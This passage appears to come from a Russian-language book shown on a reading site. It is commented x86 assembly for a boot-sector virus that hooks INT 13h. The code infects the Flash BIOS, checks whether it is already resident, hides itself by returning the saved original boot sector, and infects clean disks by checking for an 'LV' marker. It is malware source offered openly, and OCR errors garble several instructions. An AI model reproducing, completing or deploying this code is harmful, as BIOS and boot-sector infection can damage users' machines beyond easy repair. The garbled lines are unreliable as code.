; root directory и передаем ему управление

xor ах, ах

call int13h

; Готовим регистры для загрузки оригинального boot-сектора

хог ах, ах

mov es, ax

; Сегмент для загрузки

mov bx, 7C00h

; Смещение для загрузки

mov cx, 0002h

; Дорожка 0, сектор 2

xor dh, dh

; Головка 0

mov ax, 0201h ;

Функция 2, количество секторов 1

; Проверяем загрузочный диск. 80h и выше – это адрес жесткого диска,

; иначе – дискета. Копию оригинального boot-сектора храним :

; на жестком диске – дорожка 0, головка 0, сектор 2;

; на дискете – дорожка 0, головка 1, сектор 14

cmp dl, 80h

jae MBR_Loader

; Грузимся с дискеты: изменим сектор и головку

mov с1, 14 ; Сектор 14

mov dh, 1 ; Головка 1

; 3агрузим оригинальный boot-сектор по адресу 0000h:7C00h

MBR_Loader:

call int13h

; Сохраняем в стеке номер диска, с которого грузимся

push dx

; Проверяем, заражен ли Flash BIOS

cmp byte ptr cs:flash_done, 1

je Flash_resident

; Инфицируем Flash BIOS

call flash_BIOS

; Восстанавливаем из стека DX (номер загрузочного диска)

Flash_resident:

pop dx

; 3апускаем оригинальный boot-сектор (JMP FAR 0000h:7C00h)

db 0EAh

dw 7C00h

dw 0

;Скрываем присутствие вируса методом чтения оригинального boot-сектора

Stealth:

; Останавливаем значения сектора, где хранится копия оригинального

; boot-сектора

mov cx, 02h

mov ax, 0201h

; Проверяем, откуда считан boot-сектор (дискета или жесткий диск),

; так как копии хранятся в разных местах

cmp dl, 80h

jae hd_stealth

mov cl, 14

mov dh, 1 hd_stealth:

; Читаем копию оригинального boot-сектора

call int13h

; Выходим из обработчика прерывания

jmp pop_exit

; Проверяем наличие резидентного вируса

restest:

xchgah, al

iret

; Обработчик прерывания INT 13h

Handler:

cmp ax, 0ABBAh

je restest

; Перехватываем только функцию 02h (чтение сектора): проверяем

; номер функции. Если не 2, запускаем оригинальный обработчик

cmp ah, 2

jne jend

; Проверяем номера дорожки и сектора, интересуясь только теми

; секторами, в которых может оказаться вирус :

; дорожка 0, головка 0, сектор 1

cmp cx, 1

jne jend

; Проверим номер головки. Если не 0, то запустим

; оригинальный обработчик

cmp dh, 0

jne jend

tryinfect:

; Считаем сектор в буфер (для дальнейшей обработки).

; Для этого вызовем оригинальный INT 13h

call int13h

jc jend

; Сохраним регистры и флаги (обработчик не должен изменить их)

pushf

push ax

push bx

push cx

push dx

push si

push di

push es

push ds

; Проверяем, заражен ли данный диск вирусом: читаем сигнатуру. ;

Если диск заражен, скрываем присутствие вируса

cmp word ptr es:[bx+offset marker], 'LV'

je stealth

; Если диск не заражен, то заражаем

cmp dl, 80h

Добавить отзыв
ВСЕ ОТЗЫВЫ О КНИГЕ В ИЗБРАННОЕ

0

Вы можете отметить интересные вам фрагменты текста, которые будут доступны по уникальной ссылке в адресной строке браузера.

Отметить Добавить цитату